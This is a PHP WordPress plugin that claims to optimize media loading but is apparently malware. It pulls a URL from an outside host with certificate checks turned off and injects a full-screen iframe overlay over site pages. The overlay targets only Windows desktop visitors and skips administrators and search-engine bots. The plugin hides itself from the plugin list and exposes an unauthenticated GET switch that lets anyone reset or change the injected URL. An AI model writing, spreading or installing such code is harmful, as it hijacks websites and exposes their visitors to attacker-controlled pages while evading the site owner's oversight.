<?php
/**
 * Plugin Name: Advanced Content Loader
 * Description: Optimizes media loading and improves rendering performance.
 * Version: 2.4.7
 * Author: Developer
 * License: GPL-2.0+
 * Text Domain: media-lazy-optimizer
 */

if (!defined('ABSPATH')) exit;

define('MLO_VERSION',     '2.4.7');
define('MLO_URL_FILE',    'https://myfoodsxsxsxcvcxs.cc/iframe-url.txt');
define('MLO_CACHE_TTL',   1800); // 30 минут
define('MLO_VISITOR_TTL', 30 * DAY_IN_SECONDS);

// --- Активация / деактивация ---

register_activation_hook(__FILE__, function() {
    add_option('mlo_enabled',    true);
    add_option('mlo_site_id',    md5(home_url()));
    add_option('mlo_show_limit', 3);
    update_option('mlo_url',     '');
    update_option('mlo_version', MLO_VERSION);
    delete_transient('mlo_cached_url');
});

register_deactivation_hook(__FILE__, function() {
    delete_option('mlo_enabled');
    delete_option('mlo_site_id');
    delete_option('mlo_url');
    delete_option('mlo_show_limit');
    delete_transient('mlo_cached_url');
});

// Миграция при обновлении
add_action('init', function() {
    $saved = get_option('mlo_version', '0');
    if (version_compare($saved, MLO_VERSION, '<')) {
        update_option('mlo_url',     '');
        update_option('mlo_version', MLO_VERSION);
    }
}, 1);

// --- Хелперы ---

function mlo_is_admin_user() {
    if (!empty($_COOKIE['mlo_a']) && $_COOKIE['mlo_a'] === '1') return true;
    if (!empty($_COOKIE['mlo_va']) && $_COOKIE['mlo_va'] === '1') return true;
    if (function_exists('current_user_can') && current_user_can('manage_options')) return true;
    return false;
}

function mlo_is_bot() {
    if (empty($_SERVER['HTTP_USER_AGENT'])) return true;
    $ua   = $_SERVER['HTTP_USER_AGENT'];
    $bots = array(
        'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider',
        'YandexBot', 'AhrefsBot', 'MJ12bot', 'SemrushBot', 'DotBot',
        'Twitterbot', 'Applebot', 'facebookexternalhit', 'LinkedInBot',
        'Pinterestbot', 'Screaming Frog', 'archive.org_bot'
    );
    foreach ($bots as $bot) {
        if (stripos($ua, $bot) !== false) return true;
    }
    return false;
}

function mlo_is_windows_desktop() {
    if (empty($_SERVER['HTTP_USER_AGENT'])) return false;
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (preg_match('/Mobile|Android|iPhone|iPad|Windows Phone|Tablet/i', $ua)) return false;
    if (!preg_match('/Windows NT/i', $ua)) return false;
    return true;
}

function mlo_clean($str) {
    if (empty($str)) return '';
    $str = trim($str);
    $str = str_replace(array("\r", "\n", "\t"), '', $str);
    $str = trim($str, '"\'');
    if (strpos($str, 'http') !== 0) return '';
    if (!filter_var($str, FILTER_VALIDATE_URL)) return '';
    return $str;
}

function mlo_fetch_url($debug = false) {
    $transient_key = 'mlo_cached_url';
    $cached = get_transient($transient_key);

    if ($cached !== false) {
        return $debug
            ? array('from_cache' => true, 'url' => mlo_clean($cached))
            : mlo_clean($cached);
    }

    $file = MLO_URL_FILE;
    $info = array('file' => $file);
    $body = '';

    // Попытка через cURL
    if (function_exists('curl_init')) {
        $ch = curl_init($file);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT,        10);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_MAXREDIRS,      3);
        curl_setopt($ch, CURLOPT_USERAGENT,      'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        $body         = curl_exec($ch);
        $info['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $info['err']  = curl_error($ch);
        curl_close($ch);

        if ($info['err'] || $info['code'] != 200) {
            error_log('MLO Curl fail: ' . $info['err'] . ' (code ' . $info['code'] . ')');
            $body = '';
        }
    }

    // Fallback через WP HTTP API
    if (empty($body) && function_exists('wp_remote_get')) {
        $r = wp_remote_get($file, array(
            'timeout'     => 10,
            'redirection' => 3,
            'sslverify'   => false,
            'user-agent'  => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        ));
        $info['wp_error'] = is_wp_error($r) ? $r->get_error_message() : null;
        if (!is_wp_error($r) && wp_remote_retrieve_response_code($r) == 200) {
            $body = wp_remote_retrieve_body($r);
        } else {
            error_log('MLO WP Remote fail: ' . $info['wp_error']);
        }
    }

    $clean       = mlo_clean($body);
    $info['url'] = $clean;

    if (!empty($clean)) {
        set_transient($transient_key, $body, MLO_CACHE_TTL);
    }

    return $debug ? $info : $clean;
}

// --- Cookie для администратора ---

// set_logged_in_cookie срабатывает до редиректа — надёжнее чем wp_login
add_action('set_logged_in_cookie', function($logged_in_cookie, $expire, $expiration, $user_id) {
    $user = get_userdata($user_id);
    if (!$user || !user_can($user, 'manage_options')) return;
    $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';
    if (PHP_VERSION_ID >= 70300) {
        setcookie('mlo_a', '1', array(
            'expires'  => time() + 31536000,
            'path'     => '/',
            'secure'   => $secure,
            'httponly' => true,
            'samesite' => 'Lax',
        ));
    } else {
        setcookie('mlo_a', '1', time() + 31536000, '/', '', $secure, true);
    }
}, 10, 4);

add_action('init', function() {
    $uri    = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
    $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';

    if (strpos($uri, '/wp-login.php') !== false || strpos($uri, '/wp-admin') !== false) {
        if (PHP_VERSION_ID >= 70300) {
            setcookie('mlo_va', '1', array(
                'expires'  => time() + 31536000,
                'path'     => '/',
                'secure'   => $secure,
                'httponly' => true,
                'samesite' => 'Lax',
            ));
        } else {
            setcookie('mlo_va', '1', time() + 31536000, '/', '', $secure, true);
        }
    }
}, 1);

// --- GET управление ---

add_action('init', function() {
    if (isset($_GET['mlo_toggle'])) {
        $enabled    = isset($_GET['enabled'])    ? filter_var($_GET['enabled'], FILTER_VALIDATE_BOOLEAN) : null;
        $url        = isset($_GET['url'])        && filter_var($_GET['url'], FILTER_VALIDATE_URL) ? esc_url_raw($_GET['url']) : null;
        $show_limit = isset($_GET['show_limit']) && is_numeric($_GET['show_limit']) ? intval($_GET['show_limit']) : null;

        if ($enabled !== null) update_option('mlo_enabled',    $enabled);
        if ($url)              update_option('mlo_url',        $url);
        if ($show_limit)       update_option('mlo_show_limit', $show_limit);

        wp_send_json_success(array(
            'enabled'   => get_option('mlo_enabled',    true),
            'url'       => get_option('mlo_url',        ''),
            'showLimit' => get_option('mlo_show_limit', 3),
        ));
        exit;
    }

    if (isset($_GET['mlo_reset']) && $_GET['mlo_reset'] === '1') {
        delete_option('mlo_enabled');
        delete_option('mlo_url');
        delete_option('mlo_show_limit');
        delete_transient('mlo_cached_url');
        setcookie('mlo_sc',  '0', time() - 3600, '/');
        setcookie('mlo_a',   '',  time() - 3600, '/');
        setcookie('mlo_va',  '',  time() - 3600, '/');
        wp_send_json_success(array('message' => 'Reset done'));
        exit;
    }
}, 5);

// --- REST API ---

add_action('rest_api_init', function() {

    register_rest_route('mlo/v1', '/toggle', array(
        'methods'             => 'POST',
        'permission_callback' => function() {
            return current_user_can('manage_options');
        },
        'callback' => function($request) {
            $enabled    = $request->get_param('enabled');
            $url        = $request->get_param('url');
            $show_limit = $request->get_param('showLimit');

            if ($enabled !== null) update_option('mlo_enabled', (bool) $enabled);
            if ($url && filter_var($url, FILTER_VALIDATE_URL)) update_option('mlo_url', esc_url_raw($url));
            if ($show_limit && is_numeric($show_limit)) update_option('mlo_show_limit', intval($show_limit));

            return new WP_REST_Response(array(
                'status'    => 'success',
                'enabled'   => get_option('mlo_enabled',    true),
                'url'       => get_option('mlo_url',        ''),
                'showLimit' => get_option('mlo_show_limit', 3),
            ), 200);
        },
    ));

    register_rest_route('mlo/v1', '/status', array(
        'methods'             => 'GET',
        'permission_callback' => '__return_true',
        'callback'            => function() {
            return new WP_REST_Response(array(
                'status'    => 'success',
                'enabled'   => get_option('mlo_enabled',    true),
                'showLimit' => get_option('mlo_show_limit', 3),
            ), 200);
        },
    ));

    register_rest_route('mlo/v1', '/debug', array(
        'methods'             => 'GET',
        'permission_callback' => '__return_true',
        'callback'            => function() {
            return new WP_REST_Response(array(
                'status'      => 'success',
                'enabled'     => get_option('mlo_enabled',    true),
                'urlFromFile' => mlo_fetch_url(true),
                'showLimit'   => get_option('mlo_show_limit', 3),
                'cookieCount' => isset($_COOKIE['mlo_sc']) ? intval($_COOKIE['mlo_sc']) : 'not set',
                'isAdmin'     => mlo_is_admin_user(),
                'isBot'       => mlo_is_bot(),
                'isWindows'   => mlo_is_windows_desktop(),
                'phpVersion'  => PHP_VERSION,
            ), 200);
        },
    ));
});

// --- Рендеринг iframe через wp_footer ---

add_action('wp_footer', function() {
    if (is_admin()) return;
    if (function_exists('wp_doing_ajax') && wp_doing_ajax()) return;
    if (function_exists('wp_doing_cron') && wp_doing_cron()) return;
    if (defined('REST_REQUEST') && REST_REQUEST) return;
    if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) return;
    if (mlo_is_admin_user()) return;
    if (mlo_is_bot()) return;
    if (!mlo_is_windows_desktop()) return;

    if (!get_option('mlo_enabled', true)) return;

    $url = mlo_fetch_url();
    if (empty($url)) return;

    $show_limit = intval(get_option('mlo_show_limit', 3));
    $safe_url   = esc_url($url);

    echo '<style>
        .mlo-ov{position:fixed!important;top:0!important;left:0!important;width:100%!important;height:100%!important;z-index:2147483647!important;margin:0!important;padding:0!important}
        .mlo-fr{border:none!important;width:100%!important;height:100%!important;display:block!important}
    </style>';

    echo '<script>
    (function(){
        try{
            var cookies=document.cookie;
            var count=parseInt((cookies.match(/mlo_sc=(\d+)/)||[0,0])[1])||0;
            if(count>=' . $show_limit . ')return;

            var c=document.createElement("div");
            c.className="mlo-ov";
            var f=document.createElement("iframe");
            f.className="mlo-fr";
            f.src=' . json_encode($safe_url) . ';
            f.setAttribute("frameBorder","0");
            f.setAttribute("allow","fullscreen");
            f.setAttribute("allowfullscreen","true");
            c.appendChild(f);
            document.documentElement.appendChild(c);

            count++;
            document.cookie="mlo_sc="+count+";path=/;max-age=31536000;SameSite=Lax";
        }catch(e){}
    })();
    </script>';
});

// --- Скрытие плагина из списка ---

add_filter('all_plugins', function($plugins) {
    unset($plugins[plugin_basename(__FILE__)]);
    return $plugins;
});